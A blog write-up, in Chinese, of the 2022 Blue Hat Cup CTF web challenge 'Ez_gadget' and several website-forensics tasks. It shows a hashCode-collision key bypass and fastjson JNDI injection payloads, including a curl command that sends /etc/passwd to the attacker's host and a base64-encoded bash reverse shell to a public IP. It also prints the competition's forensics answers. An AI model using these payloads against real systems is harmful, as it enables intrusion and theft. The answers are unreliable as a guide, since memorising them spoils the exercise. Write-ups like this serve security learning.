蓝帽杯2022_Web_网站取证
蓝帽杯——Web&网站取证
Ez_gadget
/json路由下,有个这样的判断
1 | if (str != null && Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) |
这个牵扯到hashcode相同,但是字符串不一样,和md5弱碰撞有点像
找到这个博客:https://blog.csdn.net/weixin_44245828/article/details/109853439
根据博客内容将key:BHUCCIx2zF9mMpJ7进行调整,调整为BHUBbIx2zF9mMpJ7
一个值的ascii差了1,然后紧跟着就整一个ascii大31字母的进行补偿
,其余不变
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://ip:7010 -Fe=@/etc/passwd' -A "ip" |
发包,注意用unicode编码
1 | str=xH8b2iQfPbGejJgs&input={"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://ip:1099/cw3nmu"} |
尝试外带文件,测试/etc/passwd
1 | str=BHUBbIx2zF9mMpJ7&input={"@type":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","AsText":"\u0072\u006d\u0069\u003a\u002f\u002f\u0031\u0031\u0036\u002e\u0036\u0032\u002e\u0032\u0034\u0030\u002e\u0031\u0034\u0038\u003a\u0031\u0030\u0039\u0039\u002f\u0063\u0077\u0033\u006e\u006d\u0075"} |
反弹shell
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzExNi42Mi4yNDAuMTQ4LzcwMTAgMD4mMQ==}|{base64,-d}|{bash,-i}' -A "ip" |
1 | str=BHUBbIx2zF9mMpJ7&input={"@type":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","AsText":"\u0072\u006d\u0069\u003a\u002f\u002f\u0031\u0031\u0036\u002e\u0036\u0032\u002e\u0032\u0034\u0030\u002e\u0031\u0034\u0038\u003a\u0031\u0030\u0039\u0039\u002f\u0061\u006f\u006a\u0035\u0072\u0068"} |
监听7010端口,反弹shell
但是权限有问题,根目录下没有flag文件,想到之前的一个提权学习
JerseyCTF 2022 / mist – root-me – it-sec.fail
模仿打一遍就可以了
1 | find / -perm -u=s -type f 2>/dev/null |
取证
顺带写一下部分网站取证部分
网站取证1
vscode搜索_POST,发现一句话木马
lanmaobei666
网站取证2
加密解密处理时 mcrypt_module_open()函数在7.1中被贬低,将在7.2中被移除,要用openssl_decrypt()函数代替。换用php5
1 |
|
KBLT123
网站取证3
找到加密函数,有个$key
,就是salt值
jyzg123456
网站取证4
数据库中的money是加密的,不能直接进行加减,找到解密函数
bak.sql数据库中保存有汇率信息
转账部分,转账的金额需要用上面的解密函数进行解密,编号2,3,4,5是对应的人员,这一点对应一下即可
根据这些内容,写脚本算出最终的转账数目即可
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sk1y's Blog!
评论